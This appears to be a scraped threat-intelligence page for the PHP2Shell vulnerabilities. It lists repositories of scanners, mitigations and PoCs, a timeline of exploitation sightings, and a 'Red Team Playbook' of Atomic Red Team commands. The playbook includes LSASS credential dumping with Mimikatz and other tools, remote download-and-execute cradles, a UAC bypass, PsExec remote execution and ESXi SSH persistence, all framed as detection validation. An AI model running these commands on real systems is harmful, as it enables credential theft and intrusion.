rattones | 0 | 0 | 2026-10-21 | View |
|
atrailab/php-security-update-helper
Fix Php2Shell ( CVE-2026-109618 and CVE-2026-109619)
|
atrailab | 0 | 0 | 2026-10-21 | View |
|
x0xr00t/sl0ppy-php2shellscan
ruby module for php2shell to scan for the vulns of CVE-2026-109618 & CVE-2026-109619
|
x0xr00t | 0 | 0 | 2026-10-21 | View |
|
bagsiz/el7-php70-security
Patched PHP 7.0 RPMs for CentOS 7 (Remi php-* and php70-php-*) fixing CVE-2026-109618 / CVE-2026-109619, with an install...
|
bagsiz | 0 | 0 | 2026-10-21 | View |
|
tmespro/php-emergency-mitigations
Safe, reversible interim hardening for critical PHP vulnerabilities while you wait for patched builds. One opt-in module...
|
tmespro | 0 | 0 | 2026-10-21 | View |
|
cj667113/OCI-Ansible-Fix-CVE-2026-109618_CVE-2026-109619
PHP2Shell Audit and Fix
|
cj667113 | 0 | 0 | 2026-10-21 | View |
|
sdminev/php2shell-poc
Independent PHP2Shell research: CVE-2026-109618/109619 status, source-linked PoC audits, and evidence tracker.
|
sdminev | 0 | 0 | 2026-10-21 | View |
|
radito/php74-backport
PHP 7.4.33 FPM image with the official CVE-2026-109618 / CVE-2026-109619 emergency backport
|
radito | 0 | 0 | 2026-10-21 | View |
|
mejustbox-byte/CVE-2026-109618-CVE-2026-109619
PHP Portal Audit: URL-only risk signals for CVE-2026-109618 / CVE-2026-109619, runtime assessment and optional multipart...
|
mejustbox-byte | 0 | 0 | 2026-10-21 | View |
|
fmdiscioglu/php-cve-2026-109618-checker
Non-destructive affected-version checker for CVE-2026-109618 (GHSA-w8hw-w9fx-j79w) PHP OOM/longjmp UAF
|
fmdiscioglu | 0 | 0 | 2026-10-21 | View |
|
hellbound2307/php2shell-lab
CVE-2026-109618 / CVE-2026-109619 — lab harness, offsets, mitigation verification and write-up (own hosts only)
|
hellbound2307 | 0 | 0 | 2026-10-21 | View |
|
puffert/php-critical-rce-scanner
Safe local and passive remote exposure checker for CVE-2026-109618 and CVE-2026-109619, with a Burp BCheck.
|
puffert | 0 | 0 | 2026-10-21 | View |
|
syrex1013/CVE-2026-109618
|
syrex1013 | 0 | 0 | 2026-10-21 | View |
|
paulamckenzie9193/php2shell-check
Free PHP2Shell (CVE-2026-109618) version check
|
paulamckenzie9193 | 0 | 0 | 2026-10-21 | View |
|
vulnace/PHP2Shell
PHP2Shell PoC — CVE-2026-109618 / CVE-2026-109619 Heap use-after-free in PHP session.upload_progress handler (php_sessio...
|
vulnace | 0 | 0 | 2026-10-21 | View |
|
Kindredman/php2shell-host-audit
Read-only on-host detection for PHP2Shell CVE-2026-109618 / CVE-2026-109619 across panels, containers, backports and un-...
|
Kindredman | 0 | 0 | 2026-10-21 | View |
|
toopster-com/php2shell-check-for-claude
Passive check for Claude whether a website or server runs a PHP version affected by PHP2Shell (CVE-2026-109618, CVE-2026...
|
toopster-com | 0 | 0 | 2026-10-21 | View |
|
zdeneksvarc/wordpress-7.1.3-patched-php2shell
Docker linux/amd64 build for WordPress 7.1.3 on PHP 8.5.12 FPM Alpine, with fixes for the PHP2Shell vulnerabilities (CV...
|
zdeneksvarc | 0 | 0 | 2026-10-21 | View |
|
kiran-ox/php2shell-check
Read-only checker for PHP2Shell (CVE-2026-109618, CVE-2026-109619): finds vulnerable PHP, services still running old cod...
|
kiran-ox | 0 | 0 | 2026-10-21 | View |
|
guoziyu415/php2shell-check
Paste a Dockerfile, docker-compose, php -v or a package list and see whether your PHP needs the October 2026 fix for CVE...
|
guoziyu415 | 0 | 0 | 2026-10-21 | View |
|
Unkn0vv/php2shell
PHP2Shell Censys Query (CVE-2026-109618 / CVE-2026-109619 )
|
Unkn0vv | 0 | 0 | 2026-10-21 | View |
|
edgarbaldemarmx/php2shell-remediation
Emergency mitigation for php2shell (CVE-2026-109618 / CVE-2026-109619): disables session.upload_progress on shared hosti...
|
edgarbaldemarmx | 0 | 0 | 2026-10-21 | View |
|
Autive/php2shell-watch
Cron watchdog for PHP-FPM servers: crashed workers, spawned shells, odd connections, new files, persistence. Written for...
|
Autive | 0 | 0 | 2026-10-21 | View |
|
WeszNL/directadmin-php2shell-ansible-mitigation
Temporary PHP2Shell mitigation for DirectAdmin PHP-FPM servers (CVE-2026-109618, CVE-2026-109619) using Ansible. Include...
|
WeszNL | 0 | 0 | 2026-10-21 | View |
|
LeonelArrua/CVE-2026-109618_CVE-2026-109619_Mitigate
Mitigation for CVE-2026-109618 and CVE-2026-109619 for PHP under 8.X
|
LeonelArrua | 0 | 0 | 2026-10-21 | View |
|
0-draft/php2shell-anatomy
Defensive awareness site dissecting the php2shell PHP zero-day (CVE-2026-109618 / CVE-2026-109619): why it's critical, w...
|
0-draft | 0 | 0 | 2026-10-21 | View |
|
BigHackerManXD/php-upload-progress-hardening-wp
Interim guidance for managed WordPress environments following PHP's announcement of critical CVEs CVE-2026-109618 and CV...
|
BigHackerManXD | 0 | 0 | 2026-10-21 | View |
|
grupooruss/php2shell-assessment-global
Non-intrusive PHP2Shell assessment for CVE-2026-109618 and CVE-2026-109619
|
grupooruss | 0 | 0 | 2026-10-21 | View |
|
1o-ya/php-cve-2026-109618-hotfix-guide
Emergency mitigation guide and snippets for PHP CVE-2026-109618 / CVE-2026-109619 (php2shell)
|
1o-ya | 0 | 0 | 2026-10-21 | View |
|
NaNoBotCo/php-patch
The PHP Patch: PHP2Shell (CVE-2026-109618, CVE-2026-109619) explained — meaning, who is exposed, how to fix
|
NaNoBotCo | 0 | 0 | 2026-10-21 | View |
|
genetix/php2shell-diagnostic
Non-destructive testing toolkit for php2shell (CVE-2026-109618 / CVE-2026-109619) - Compatible with PHP 5.2+
|
genetix | 0 | 0 | 2026-10-21 | View |
|
WeMakeGood/php2shell
Audit and interim mitigation scripts for PHP2Shell (CVE-2026-109618/109619) on Forge-managed Ubuntu servers
|
WeMakeGood | 0 | 0 | 2026-10-21 | View |
|
adamtamenne/php2shell-lab
Docker lab for reproducing CVE-2026-109618 and CVE-2026-109619 (php2shell), OOM corruption and stale global state RCE in...
|
adamtamenne | 0 | 0 | 2026-10-21 | View |
|
maikbehring/php-notbetrieb
Notbetrieb für PHP, das sich nicht patchen lässt. Kein Fix für CVE-2026-109618 und CVE-2026-109619.
|
maikbehring | 0 | 0 | 2026-10-21 | View |
|
luivc1/php-vuln-responder
Agent plugin to scan, patch, verify and check for compromise after critical PHP vulnerabilities (PHP2Shell CVE-2026-1096...
|
luivc1 | 0 | 0 | 2026-10-21 | View |
|
m16a4666/php2shell-fix
Ubuntu PHP2Shell (CVE-2026-109618 / CVE-2026-109619) package updater and patch verification
|
m16a4666 | 0 | 0 | 2026-10-21 | View |
|
The-DevOps-Daily/php2shell-check
Find every PHP on a host, in its containers and in popular images, and prove it has the PHP2Shell fix (CVE-2026-109618, ...
|
The-DevOps-Daily | 0 | 0 | 2026-10-21 | View |
|
xqus/php2shell-check
Read-only triage for the Oct 2026 PHP RCE advisory (CVE-2026-109618/109619)
|
xqus | 0 | 0 | 2026-10-21 | View |
|
Huboxt/php-base-images
Temporary patched PHP base images (CVE-2026-109618/109619) until official images ship
|
Huboxt | 0 | 0 | 2026-10-21 | View |
|
hirokidaichi/php56-cve-2026-backport-experiment
Experimental PHP 5.6.40 source backport for CVE-2026-109618 and CVE-2026-109619, with reproduction steps and test eviden...
|
hirokidaichi | 0 | 0 | 2026-10-21 | View |
|
AvaterXXX/CVE-2026-109618-CVE-2026-109619-
|
AvaterXXX | 0 | 0 | 2026-10-21 | View |
|
imsarah/php2shell-hardening-for-agents
Hardens and patches PHP sites you did not build — SAPI-aware mitigation, cache-aware verification, and honest CVE patch ...
|
imsarah | 0 | 0 | 2026-10-21 | View |
|
Incerto-inc/php-vuln-check-2026-10
PHP の重大な脆弱性(CVE-2026-109618 / CVE-2026-109619)の確認の手順。読むだけで何も変更しない
|
Incerto-inc | 0 | 0 | 2026-10-21 | View |
|
adriyansyah-mf/CVE-2026-109618-109619-PHP-session.upload_progress-Exploit-
|
adriyansyah-mf | 0 | 0 | 2026-10-21 | View |
|
tommaru66-pixel/php2shell-poc-1
PHP Serializable var_hash UAF -> RCE (CVE-2026-109618/619): independent reproduction, 7.4-8.5 weaponization matrix, sess...
|
tommaru66-pixel | 0 | 0 | 2026-10-21 | View |
|
charindithjaindu/CVE-2026-109618
|
charindithjaindu | 0 | 0 | 2026-10-21 | View |
|
dogussekerci/php-upload-progress-mitigation
Interim hardening for CVE-2026-109618 / CVE-2026-109619: show, disable and re-enable PHP session.upload_progress on all ...
|
dogussekerci | 0 | 0 | 2026-10-21 | View |
|
nsrg-fmlorg/php-cve-2026-109618
PHP php2shell (CVE-2026-109618, CVE-2026-109619) fixes for Rocky Linux 8, 9 and 10, following AlmaLinux's
|
nsrg-fmlorg | 0 | 0 | 2026-10-21 | View |
|
EkaterinaMarchetti/php2shell-assessment-global
Non-intrusive PHP2Shell assessment for CVE-2026-109618 and CVE-2026-109619
|
EkaterinaMarchetti | 0 | 0 | 2026-10-21 | View |
|
plob881/php2shell-shield
Serverbrede noodblokkade voor PHP2Shell (CVE-2026-109618 / CVE-2026-109619) voor DirectAdmin, Plesk, cPanel en kale Apac...
|
plob881 | 0 | 0 | 2026-10-21 | View |
|
k0x-offsec/php2shell-shield
WAF rules, PHP hardening & detection for CVE-2026-109618/109619 (PHP2Shell). Lab-tested bridge until you patch - review ...
|
k0x-offsec | 0 | 0 | 2026-10-21 | View |
|
BIBILZERODAY/PHP2Shell-CVE-2026-109618-CVE-2026-109619-Mass-Exploit
|
BIBILZERODAY | 0 | 0 | 2026-10-21 | View |
|
sorenjohanson/crowdsec-cve-2026-109618-rule
Initial version of custom CrowdSec rule for CVE-2026-109618 and CVE-2026-109619
|
sorenjohanson | 0 | 0 | 2026-10-21 | View |
|
CYB3RW07F/PHP2Shell-CVE-2026-109618-CVE-2026-109619
CVE-2026-109618 and CVE-2026-109619
|
CYB3RW07F | 0 | 0 | 2026-10-21 | View |
|
EkaterinaMarchetti/Non-intrusive-PHP2Shell-assessment-for-CVE-2026-109618-and-CVE-2026-109619
Non-intrusive PHP2Shell assessment for CVE-2026-109618 and CVE-2026-109619
|
EkaterinaMarchetti | 0 | 0 | 2026-10-21 | View |
|
DandanLLab/PHP-5.6.40-CVE-2026-109618-109619
php5 修复CVE-2026-109618-109619
|
DandanLLab | 0 | 0 | 2026-10-21 | View |
|
alvaroguzmancode/CVE-2026-109618
|
alvaroguzmancode | 0 | 0 | 2026-10-21 | View |
|
antiburen/PHP2Shell-Probe
Defensive probe for the PHP multipart parser vulnerability CVE-2026-109618 · CVSS 9.2 CVE-2026-109619 PHP < 8.3.36 / 8....
|
antiburen | 0 | 0 | 2026-10-21 | View |
|
pete-builds/php-security-release-2026-10
Tracking PHP CVE-2026-109618 / CVE-2026-109619: official status, patches, mitigations
|
pete-builds | 0 | 0 | 2026-10-21 | View |
|
chrisdfir/php2shell-detection
Detection checkers for CVE-2026-109618 / CVE-2026-109619 (PHP session upload progress RCE): version inventory, session-f...
|
chrisdfir | 0 | 0 | 2026-10-21 | View |
|
gregoirer-mediactive/php
php:7.4-fpm drop-in rebuilt with the CVE-2026-109618/109619 fix (PHP2Shell)
|
gregoirer-mediactive | 0 | 0 | 2026-10-21 | View |
|
haobachang-1/php2shell-CVE-2026-109618-CVE-2026-109619
|
haobachang-1 | 0 | 0 | 2026-10-21 | View |
|
lushinshang/php2shell-cve-2026-109618
PHP2Shell（CVE-2026-109618 / CVE-2026-109619）兩天全紀錄：以 php.net 官方公告為主軸的繁中深度導讀
|
lushinshang | 0 | 0 | 2026-10-21 | View |
|
meowmeow34spec/php2shell-namu-kr
PHP2Shell CVE-2026-109618·109619 보고서 나무위키 형식 파인만 풀이 페이지
|
meowmeow34spec | 0 | 0 | 2026-10-21 | View |
|
kernelkill/PoC_f5_php2shell.sh
Script bash para validar que a iRule do F5 BIG-IP está bloqueando o padrão-gatilho php2shell (CVE-2026-109618 / CVE-2026...
|
kernelkill | 0 | 0 | 2026-10-21 | View |
|
0xBlackash/CVE-2026-109618
CVE-2026-109618
|
0xBlackash | 0 | 0 | 2026-10-21 | View |
|
daffa001/php-CVE-2026-109618-CVE-2026-109619
|
daffa001 | 0 | 0 | 2026-10-21 | View |
|
MelchiorKokernoot/frankenphp-php8.4.27
Unofficial stopgap: FrankenPHP 1.13.1 on PHP 8.4.27 (CVE-2026-109618/109619), unmodified upstream rebuild
|
MelchiorKokernoot | 0 | 0 | 2026-10-21 | View |
|
1Nightlovel/CVE-2026-109618
php2shellscanner
|
1Nightlovel | 0 | 0 | 2026-10-21 | View |
|
Okymi-X/CVE-2026-109618
php2shell — CVE-2026-109618 / CVE-2026-109619 PoC | Pre-auth RCE in PHP session.upload_progress (CVSS 9.2)
|
Okymi-X | 0 | 0 | 2026-10-21 | View |
|
grupooruss/php2shell-test
PHP2Shell Evaluación de CVE-2026-109618 and CVE-2026-109619
|
grupooruss | 0 | 0 | 2026-10-21 | View |
|
SeanDishman/php2shell-CVE-2026-109618-CVE-2026-109619
Example lab for CVE-2026-109618 / CVE-2026-109619 (php2shell): unpatched PHP session.upload_progress site + Python clien...
|
SeanDishman | 0 | 0 | 2026-10-21 | View |
|
squiblyza/CVE-2026-109618-CVE-2026-109619
Passive exposure check for the PHP October 2026 RCE advisory (CVE-2026-109618 / CVE-2026-109619), with a Claude skill
|
squiblyza | 0 | 0 | 2026-10-21 | View |
Exploited in Wild
CONFIRMED
Ransomware
NOT ASSOCIATED
Attacker Interest
VERY HIGH
Sightings
Extensive activity
Threat Feed
20 events
2026-11-04
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-11-03
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-11-02
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-11-01
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-10-31
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-10-30
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-29
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-28
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-27
Threat Sensor Sighting — Extensive activity
Sighting activity recorded
2026-10-26
Threat Sensor Sighting — Extensive activity
Sighting activity recorded
2026-10-26
Added to CISA KEV Catalog
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
2026-10-25
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-24
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-23
Threat Sensor Sighting — Extensive activity
Sighting activity recorded
2026-10-22
Threat Sensor Sighting — Extensive activity
Sighting activity recorded
2026-10-21
Threat Sensor Sighting — Extensive activity
Sighting activity recorded
2026-10-20
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-10-18
PoC Published (812 GitHub repositories)
Proof-of-concept code is publicly available for this vulnerability
Detected as Exploited in the Wild (1112 sightings)
Active exploitation confirmed with 1112 sighting(s)
Exploit Published (1 ExploitDB, 0 Metasploit)
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Applicable
Out of scope
Target OS:
Deployed role: Linux · Web Server
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
Remote Code Execution
68%
rce
Race Condition
50%
race_condition
Use After Free
49%
use_after_free
Buffer Overflow
48%
buffer_overflow
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
No techniques for the selected OS
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
No tests for the selected OS
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
T1003.001
Create Mini Dump of LSASS.exe using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe
Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001
Dump LSASS with createdump.exe from .Net v5
Windows
PowerShell
Privileged
Use createdump executable from .NET to create an LSASS dump.
[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001
Dump LSASS.exe Memory through Silent Process Exit
Windows
CMD
Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism
introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001
Dump LSASS.exe Memory using NanoDump
Windows
CMD
Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.
https://github.com/helpsystems/nanodump
Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001
Dump LSASS.exe Memory using Out-Minidump.ps1
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001
Dump LSASS.exe Memory using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.
Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.
If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001
Dump LSASS.exe Memory using Windows Task Manager
Windows
Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
Manager and administrative permissions.
T1003.001
Dump LSASS.exe Memory using comsvcs.dll
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.
Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001
Dump LSASS.exe Memory using direct system calls and API unhooking
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001
Dump LSASS.exe using imported Microsoft DLLs
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump
file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001
Dump LSASS.exe using lolbin rdrleakdiag.exe
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks.
This can be achieved with lolbin rdrleakdiag.exe.
Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001
LSASS read with pypykatz
Windows
CMD
Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::
Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.
Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001
Offline Credential Theft With Mimikatz
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001
Powershell Mimikatz
Windows
PowerShell
Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002
Copy and Execute File with PsExec
Windows
CMD
Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002
Execute command writing output to local Admin Share
Windows
CMD
Privileged
Executes a command, writing the output to a local Admin Share.
This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002
Map Admin Share PowerShell
Windows
PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002
Map admin share
Windows
CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1021.004
ESXi - Enable SSH via PowerCLI
Windows
PowerShell
Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004
ESXi - Enable SSH via VIM-CMD
Windows
CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049
System Discovery using SharpView
Windows
PowerShell
Privileged
Get a listing of network connections, domains, domain users, and etc.
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049
System Network Connections Discovery
Windows
CMD
Get a listing of network connections.
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049
System Network Connections Discovery FreeBSD, Linux & MacOS
Linux, macOS
Shell
Get a listing of network connections.
Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049
System Network Connections Discovery via PowerShell (Process Mapping)
Windows
PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
T1049
System Network Connections Discovery via sockstat (Linux, FreeBSD)
Linux
Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049
System Network Connections Discovery via ss or lsof (Linux/MacOS)
Linux, macOS
Bash
List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049
System Network Connections Discovery with PowerShell
Windows
PowerShell
Get a listing of network connections.
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
Abuse Nslookup with DNS Records
Windows
PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.
[reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001
Invoke-AppPathBypass
Windows
CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened.
Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001
Mimikatz
Windows
PowerShell
Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (PowerShell)
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
T1059.001
Mimikatz - Cradlecraft PsSendKeys
Windows
PowerShell
Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
